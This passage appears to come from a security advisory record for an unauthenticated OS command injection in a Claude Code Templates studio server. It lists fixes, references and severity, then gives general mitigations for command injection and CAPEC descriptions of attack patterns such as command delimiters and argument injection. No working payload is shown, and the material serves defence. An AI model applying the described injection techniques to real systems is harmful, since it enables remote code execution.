secrets.\n\nSuggested fix\n\n- Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).\n- Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).\n- Bind to loopback only (app.listen(PORT, \u0027127.0.0.1\u0027, ...)).\n- Replace the wildcard CORS with a same-origin allowlist and reject other origins.",
"id": "GHSA-79wm-x847-7cvg",
"modified": "2026-09-03T19:50:47Z",
"published": "2026-09-03T19:50:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73222"
},
{
"type": "WEB",
"url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
},
{
"type": "PACKAGE",
"url": "https://github.com/davila7/claude-code-templates"
},
{
"type": "WEB",
"url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.